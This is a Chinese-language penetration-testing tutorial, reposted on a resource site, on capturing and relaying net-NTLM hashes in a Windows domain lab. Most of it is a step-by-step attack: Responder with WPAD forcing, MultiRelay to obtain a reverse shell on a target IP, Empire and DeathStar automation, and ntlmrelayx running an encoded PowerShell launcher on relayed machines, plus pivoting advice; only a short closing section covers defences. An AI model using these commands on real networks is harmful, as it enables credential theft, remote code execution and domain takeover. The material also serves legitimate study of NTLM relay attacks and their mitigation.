缘北网-相亲交友-缘分交友-年轻人的聚集地
当前位置:首页 > 网络技术 > 网络必学

网络必学

内网渗透-net-NTLM hash的攻击

时间:2022-06-20   作者:Admin缘北工作室   来源:缘北资源快报kuaibao.52ybkj.com   阅读:556   评论:0
内容摘要:0x01前言记得之前有个知识点还没有去写,虽然比较简单,但是很多文章对突出的重点写的不够详细,所以我搭个环境整理一下,具体一些认证原理、以及中继转发的过程,请查看我的上一篇文章。0x02中继原理对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获其它PC的...
0x01 前言
记得之前有个知识点还没有去写,虽然比较简单,但是很多文章对突出的重点写的不够详细,所以我搭个环境整理一下,具体一些认证原理、以及中继转发的过程,请查看我的上一篇文章。
 
0x02 中继原理
对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获其它PC的net-ntlm hash。而作为中继的机器必须要有域管理员权限或本地管理员权限,且被中继的机器要关闭smb签名认证,否则怎么去做中继呢,比如本文案例用域控做中继。
除了中继smb协议,还可以中继LDAP,从域内内收集更多的信息,包括用户、他们的组成员、域计算机和域策略;中继IMAP,Exchange 服务器上的 IMAP 支持 NTLM 身份验证,若Exchange启用 NTLM 身份验证,可以登录用户的邮箱。这些可以用来进一步的扩大危害。
 
0x03 获取net-NTLM hash
中继即让客户端连接到攻击者模拟的SMB,其实最关键的是先拿到net-ntlm hash,若是域管的hash,就可以拿到域内的任意主机权限。NTLM 身份验证被封装在其他协议中,但是无论覆盖的协议是什么,消息都是相同的,比如SMB、HTTP(S)、LDAP、IMAP、SMTP、POP3 和 MSSQL,就是说NTLM 支持多种协议。HTTP 进行身份验证的客户端会在“ Authorization”标头中发送 NTLM 身份验证消息,因此除了中继SMB可以直接登录之外,若是中继MSSQL等,可以转发登录目标的MSSQL。
下面总结几个获取方法:
1.中间人攻击,比如内网做个DNS劫持,如果是全内网劫持,危害是比较大的。
2.WPAD,自动发现协议,利用DNS 查找一个名为 WPAD 的主机名,如果不能通过上面描述的 LLMNR。 Responder开启WPAD后,-F,当目标浏览网站时强制使用NTLM hash认证,而且主机重启时也能抓到NTLM hash。
加-F参数即可开启WPAD抓取 hash,此时用户浏览网站Net-NTLM hash就被获取。
python Responder.py -I eth0 -v -F
内网渗透-net-NTLM_hash的攻击 图1
内网渗透-net-NTLM_hash的攻击 图2
3.web漏洞,如XSS、文件包含等获取net-NTLM hash。
4.LLMNR,构造不存在的主机名,当主机名无法使用 DNS 解析的主机,则使用本地链路多播名称解析,即LLMNR滥用自动发现协议产生的流量,Windows 代理自动检测 (WPAD) 功能,自动尝试使用 NTLM 身份验证进行身份验证通过中间人攻击获得的流量,比如DNS劫持,重定向到受害者工作站受信任的位置
 
0x04 中继反弹shell
攻击机ip
内网渗透-net-NTLM_hash的攻击 图3
靶机ip
内网渗透-net-NTLM_hash的攻击 图4
受害者ip-域内pc
内网渗透-net-NTLM_hash的攻击 图5
1、攻击机执行 python Responder.py -I eth0 -r -d –w
内网渗透-net-NTLM_hash的攻击 图6
2、sudo python MultiRelay.py -t 192.168.191.189 -u ALL
可以导入列表,这里演示一个攻击目标192.168.191.189,利用Responder的MultiRelay模块获取shell,如果成功,直接反弹192.168.191.189的shell
内网渗透-net-NTLM_hash的攻击 图7
3、靶机执行 net use 192.168.191.190test
用户名密码随意输入,因为就算密码错误了,会调用这台机子自带的hash尝试登录攻击机,被攻击机获取hash,进行中继转发。
内网渗透-net-NTLM_hash的攻击 图8
4、执行之后,发现MultiRelay已经反弹受害机的shell
内网渗透-net-NTLM_hash的攻击 图9
获取shell之后进一步利用,可以dump hash、或加载到meterpreter、 CS,执行一下powershell命令即可。
 
0x05 DeathStar体验
1、启动empire
sudo python empire —rest —username username —password 123456
2、启动Deathstar,ip为攻击机ip,为了接管agent
python3 DeathStar.py -lip 192.168.191.190 -t 100 -u username -p 123456
内网渗透-net-NTLM_hash的攻击 图10
3、empire生成powershell
Listeners,会发现已经有了一个DeathStar监听
launcher powershell DeathStar,生成powershell代码

内网渗透-net-NTLM_hash的攻击 图11

4、启动Responder
sudo python Responder.py -I eht0 -r -d –v
Deathstar会自动寻找域控制器,及活跃用户等目录进行中继转发。
5、这条命令是对中继成功的机器,自动执行powershell,获取agent,powershell脚本放在引号中。
sudo ntlmrelayx.py -t 192.168.191.189 -c ‘powershell -noP -sta -w 1 -enc [powershell code]’
内网渗透-net-NTLM_hash的攻击 图12
ntlmrelayx.py支持-tf(例如target.txt),把目标导入利用中继批量转发攻击。
6、net use 192.168.191.190a
内网渗透-net-NTLM_hash的攻击 图13
内网渗透-net-NTLM_hash的攻击 图14
可以看到对每台PC进行了转发测试,若成功则反弹shell。
这个工具感觉没有想象中的强大,前面几分钟都在攻击我的kali攻击机,然后开始对域控进行中继,在整个网段探测存活,再对存活主机进行中继转发.
总结:
如果我们的msf在自己内网怎么办,目标内网肯定无法直接转发到我们的Responder,可以通过msf劫持445端口到自己本地,设置一个远程监听端口(auxiliary/scanner/smb/smb_login),用来接收smb的数据,在设置一个meterpreter反向转发端口(portfwdadd)。
防御:
所有攻击都滥用了 NLTM 身份验证协议,因此唯一完整的解决方案是完全禁用 NTLM 并切换到 Kerberos。操作系统若不支持 Kerberos 身份验证,无法禁用,启用 SMB 签名,启用 LDAP 签名等来缓解。
 

来源:黑吧安全网

 #免责声明#

【声明】:缘北网(https://kuaibao.52ybkj.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱1665545192@qq.com,我们会在最短的时间内进行处理。

【声明】 本站提供的一切软件、教程和内容文章信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络收集整理,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。如果您喜欢该程序和内容,请支持正版,购买注册,得到更好的正版服务。我们非常重视版权问题,如有侵权请邮件与我们联系处理。敬请谅解!


标签:攻击  渗透  内网  

相关文章

相关评论

本栏最新更新

本栏推荐

阅读排行